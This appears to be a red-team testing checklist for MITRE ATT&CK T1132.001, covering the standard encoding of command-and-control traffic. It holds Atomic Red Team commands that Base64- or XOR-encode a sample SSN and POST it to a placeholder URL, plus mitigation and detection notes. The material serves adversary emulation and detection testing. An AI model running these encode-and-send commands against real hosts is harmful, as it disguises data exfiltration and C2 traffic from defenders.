T1132.001 Standard Encoding

> Sub-technique of: T1132

High-Level Description

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.

Kill Chain Phase

• Command and Control (TA0011)

Platforms: ESXi, Linux, Windows, macOS

What to Check

• ] Identify if Standard Encoding technique is applicable to target environment
• ] Check ESXi systems for indicators of Standard Encoding
• ] Check Linux systems for indicators of Standard Encoding
• ] Check Windows systems for indicators of Standard Encoding
• ] Verify mitigations are bypassed or absent (1 known mitigations)
• ] Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Base64 Encoded data.

Utilizing a common technique for posting base64 encoded data.

Supported Platforms: macos, linux

bash
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}

Atomic Test 2: Base64 Encoded data (freebsd)

Utilizing a common technique for posting base64 encoded data.

Supported Platforms: linux

bash
echo -n 111-11-1111 | b64encode -r -
curl -XPOST #{base64_data}.#{destination_url}

Dependencies:

• Requires curl

Atomic Test 3: XOR Encoded data.

XOR encodes the data with a XOR key. Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f

Supported Platforms: windows

powershell
$plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}"))
$key = "#{key}"
$cyphertext =  @();
for ($i = 0; $i -lt $plaintext.Count; $i++) {
 $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];
}
$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)
[System.Net.ServicePointManager]::Expect100Continue = $false
Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. Identify Attack Surface: Determine if the target environment is susceptible to Standard Encoding by examining the target platforms (ESXi, Linux, Windows).

1. Assess Existing Defenses: Review whether mitigations for T1132.001 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

1. Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

M1031 Network Intrusion Prevention

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.

Detection

Behavior-chain detection for T1132.001 Data Encoding: Standard Encoding (Base64/Hex/MIME) across Windows, Linux, macOS, ESXi

Risk Assessment

| Finding | Severity | Impact | | -------------------------------------- | -------- | ------------------- | | Standard Encoding technique applicable | Low | Command And Control |

CWE Categories

| CWE ID | Title | | ------- | ---------------------------------- | | CWE-300 | Channel Accessible by Non-Endpoint |

References

• University of Birmingham C2
• Wikipedia Binary-to-text Encoding
• Wikipedia Character Encoding
• Atomic Red Team - T1132.001
• MITRE ATT&CK - T1132.001